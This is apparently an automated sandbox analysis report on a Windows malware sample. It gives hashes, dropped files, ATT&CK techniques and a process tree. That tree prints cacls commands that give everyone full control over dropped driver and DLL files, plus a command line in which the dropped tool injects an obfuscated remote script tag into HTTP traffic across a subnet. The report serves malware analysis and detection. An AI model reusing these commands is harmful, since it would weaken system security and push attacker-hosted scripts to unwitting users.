5f15488a7e355492829edaf3a8755619384dc725aa836eff1f3d364d5719e772

Analysis

max time kernel
31s
max time network
20s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
22/08/2024, 15:01

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General

Target

b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe
Size

525KB
MD5

b817832560fca5244ef3393152e3c7a8
SHA1

094de5817d77cef6339100698cf4c3df965383e2
SHA256

5f15488a7e355492829edaf3a8755619384dc725aa836eff1f3d364d5719e772
SHA512

9ae2333af910fe0ef90fdf125e6b99c88fc2a46881341ff2b55ed32dc862b7e88756fd69def7410911b72e6b1b1c6f6be64c97bae3f60c80b07e9076727c9094
SSDEEP

6144:EhcMSbFohE9q2PsXrSVew/X2+wZHeSPVep6s6BCF6GfEWfadRNH0QMgNoS4:ESNF2E9/cZw/X6eSPtfS6G6IgNoS4

Score

8^/10

discovery

Malware Config

Signatures

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\drivers\npf.sys	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe

Deletes itself 1 IoCs

pid	Process
2004	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2836	360uczq.exe

Loads dropped DLL 5 IoCs

pid	Process
2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe
2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe
2836	360uczq.exe
2836	360uczq.exe
2836	360uczq.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\Packet.dll	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\WanPacket.dll	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\wpcap.dll	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\360uczq.exe	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2732 wrote to memory of 264	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	29
PID 2732 wrote to memory of 264	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	29
PID 2732 wrote to memory of 264	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	29
PID 2732 wrote to memory of 264	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	29
PID 2732 wrote to memory of 2220	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	31
PID 2732 wrote to memory of 2220	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	31
PID 2732 wrote to memory of 2220	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	31
PID 2732 wrote to memory of 2220	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	31
PID 2732 wrote to memory of 2216	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	33
PID 2732 wrote to memory of 2216	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	33
PID 2732 wrote to memory of 2216	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	33
PID 2732 wrote to memory of 2216	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	33
PID 2732 wrote to memory of 2324	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	35
PID 2732 wrote to memory of 2324	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	35
PID 2732 wrote to memory of 2324	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	35
PID 2732 wrote to memory of 2324	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	35
PID 2732 wrote to memory of 2776	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	37
PID 2732 wrote to memory of 2776	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	37
PID 2732 wrote to memory of 2776	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	37
PID 2732 wrote to memory of 2776	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	37
PID 2732 wrote to memory of 2836	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	39
PID 2732 wrote to memory of 2836	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	39
PID 2732 wrote to memory of 2836	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	39
PID 2732 wrote to memory of 2836	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	39
PID 2732 wrote to memory of 2004	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	41
PID 2732 wrote to memory of 2004	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	41
PID 2732 wrote to memory of 2004	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	41
PID 2732 wrote to memory of 2004	2732	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	41

C:\Users\Admin\AppData\Local\Temp\b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe"
1⤵
- Drops file in Drivers directory
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2732
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\drivers\npf.sys /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:264
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\Packet.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2220
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\WanPacket.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2216
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\wpcap.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2324
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\npptools.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2776
- C:\Windows\SysWOW64\360uczq.exe
  -idx 0 -ip 10.127.0.2-10.127.0.254 -port 80 -insert "<script language=JavaScript src=http://c%61d.K%77%69k.%54o/tj.js></script>"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2836
- C:\Windows\SysWOW64\cmd.exe
  cmd /c 12.bat
  2⤵
  - Deletes itself
  - System Location Discovery: System Language Discovery
  PID:2004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\12.bat

Filesize
2KB

MD5
879d75bc6bed2e1f30abd91f361f66b9

SHA1
4a5bb4b3dcd6ec251486ad4040e47e4bf566391f

SHA256
b843640f36bad63e06b554fcf02c6485bf4a9fe085484dfe5a6d90adbfa81a36

SHA512
ac55885e35577a2d1f5ab4a7ba35135cf163616f489cf0849fe5ed9b0e8e1e2f6573be8c3d95f8deca7fecc7b3452888d40c930bee2eca99149db167dd6d4a95

Download Submit
\Windows\SysWOW64\360uczq.exe

Filesize
8.0MB

MD5
0f34f181ff7272e8d24f7c05b216caf4

SHA1
94cdece17148a75acd371a367217b72adac991d1

SHA256
78c1ba4922dc4a29d214b0543edf079fe438a973e8639b6d80965b44d0065bf3

SHA512
cd58fe0a798726f99eac24461147e251d9f781843ba1e87c38d07a53a2e06f0d71802f3cd5b80a7cbefdcffdd5966371b8870052de3da7f5d6c8bbc67fd979e2

Download Submit
\Windows\SysWOW64\Packet.dll

Filesize
86KB

MD5
9062aeea8cbfc4f0780bbbefad7cebcb

SHA1
c4ad39ec51ad0e84fe58f62931d13cddfde3189e

SHA256
b2535129b26366484c487cc2ce536d8fcfa9d1ac1dab0db9560b4532012c352c

SHA512
60957548fc2272998aea518acf3b1812ed77f73e960a99ddf0d6b474b0858225286c26554bf81c00acf3cb1c77c5ce458d80e149ed4766287d7e32af9681e646

Download Submit
\Windows\SysWOW64\WanPacket.dll

Filesize
66KB

MD5
fdd104a9fd3427a1df37041fa947a041

SHA1
cca1881a3c02033008f78cc39b712b637c7f3e13

SHA256
384e928f13bc1c25ca16b3247d7ca942aec6834fadb05b1487f2c975678d4a9a

SHA512
9dd082eb245b443cc75b37c69f0a17e15fcb9cdb676b058d87f9805ec7a928e721a681b940fcdd56fd81da4d308f0d514870c526c4f9c715b256a97ab6bb29f7

Download Submit
\Windows\SysWOW64\wpcap.dll

Filesize
234KB

MD5
ce842d25e5b7e6ff21a86cad9195fbe8

SHA1
d762270be089a89266b012351b52c595e260b59b

SHA256
7e8c0119f352424c61d6fad519394924b7aedbf8bfb3557d53c2961747d4c7f3

SHA512
84c23addda6ff006d4a3967b472af10a049b2a045d27d988d22153fc3ba517e21520a31eb061a2ef2abf302e365564dd4601d240ec3d5894fb96f10a9fae97d6

Download Submit
memory/2732-14-0x0000000000570000-0x000000000057F000-memory.dmp

Filesize
60KB

Download
memory/2732-13-0x0000000000570000-0x000000000057F000-memory.dmp

Filesize
60KB

Download
memory/2732-0-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2732-1-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2732-33-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2836-24-0x0000000000030000-0x0000000000040000-memory.dmp

Filesize
64KB

Download
memory/2836-25-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download
memory/2836-21-0x00000000001B0000-0x00000000001C5000-memory.dmp

Filesize
84KB

Download
memory/2836-16-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download